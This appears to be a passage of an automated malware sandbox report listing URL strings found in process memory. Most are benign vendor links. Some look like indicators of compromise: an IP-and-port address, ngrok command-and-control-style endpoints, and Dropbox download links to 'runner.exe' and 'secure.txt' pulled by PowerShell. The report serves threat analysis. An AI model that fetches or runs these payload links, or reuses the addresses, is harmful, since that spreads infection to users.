Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://permanently-removed.invalid/v1/accountcapabilities:batchGet
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC741000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://ubi.comd:/dev/assassin-playground/dx10_integration/main/extern/onlineservices/Tracking/Module
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/de
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/es
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/fr
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/it
Source: fontdrvhost.exe	String found in binary or memory: https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.00000136678E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef
Source: powershell.exe, 00000004.00000002.2469825397.00000225BA75E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469766166.00000225BA730000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2528807322.00000225D49A2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469825397.00000225BA7CA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2470828468.00000225BC200000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469825397.00000225BA747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef-UseBa
Source: powershell.exe, 00000004.00000002.2469825397.00000225BA7CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fefL
Source: powershell.exe, 00000016.00000002.2977652206.0000013667A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC741000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BE40F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2528259236.00000225D4860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000004.00000002.2471028707.00000225BE6EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BE6C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BDBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: msedge.exe, 0000001C.00000002.2532977676.0000018974AA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: msedge.exe, 0000000A.00000002.2351533155.00000224A36A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comgj
Source: msedge.exe, 0000000A.00000002.2359489427.0000501C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://azureedge.net/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.designerapp.osi.office.net/
Source: msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.edog.designerapp.osi.office.net/
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: msedge.exe, 0000000A.00000002.2358942744.0000501C0237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: msedge.exe, 0000000A.00000002.2358942744.0000501C0237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn
Source: msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn:
Source: msedge.exe, 0000000A.00000002.2358942744.0000501C0237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 0000000A.00000002.2358172777.0000501C02240000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2534662771.00003AB000040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: fontdrvhost.exe, 00000026.00000003.3162253367.000000000553B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-query
Source: fontdrvhost.exe, 00000026.00000003.3162253367.000000000553B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-queryPOSTContent-TypeContent-LengthHostapplication/dns-message%dMachi
Source: powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://designerapp-dogfood.azurewebsites.net/
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://designerapp-int.azurewebsites.net/
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://designerapp-int.azurewebsites.net/m
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://designerapp.azurewebsites.net/
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://designerapp.azurewebsites.net/net//
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: svchost.exe, 0000000B.00000003.2342168560.000001C463E6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000B.00000003.2342168560.000001C463E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2471028707.00000225BD28E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BDBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2526169826.00000225D477F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.coJ.
Source: msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000000A.00000002.2359489427.0000501C02594000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/Y
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/GetCheckConnectionInfo
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/ListAccounts?json=standard
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxAB
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/reauth/chromeos
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/setup/chrome/usermenu
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/setup/kidsignin/chromeos
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/setup/kidsignup/chromeos
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/setup/v2/chromeos
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/setup/windows
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/embedded/xreauth/chrome
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/encryption/unlock/desktop
Source: msedge.exe, 0000000A.00000002.2358354048.0000501C022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/signin/chrome/sync?ssp=1
Source: msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.2977652206.000001366617D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013666181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com/cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7He
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com/cd/0/get/CgZa4hwIaWEnXA11CbjDdjfbBYoE
Source: powershell.exe, 00000016.00000002.2977652206.00000136661EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.2977652206.00000136661EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.00000136661E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013666195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com/cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.000001366613C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&dl=1
Source: powershell.exe, 00000016.00000002.3103403948.000001367E040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g
Source: powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exL
Source: powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exLL
Source: powershell.exe, 00000016.00000002.2977652206.0000013667A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1
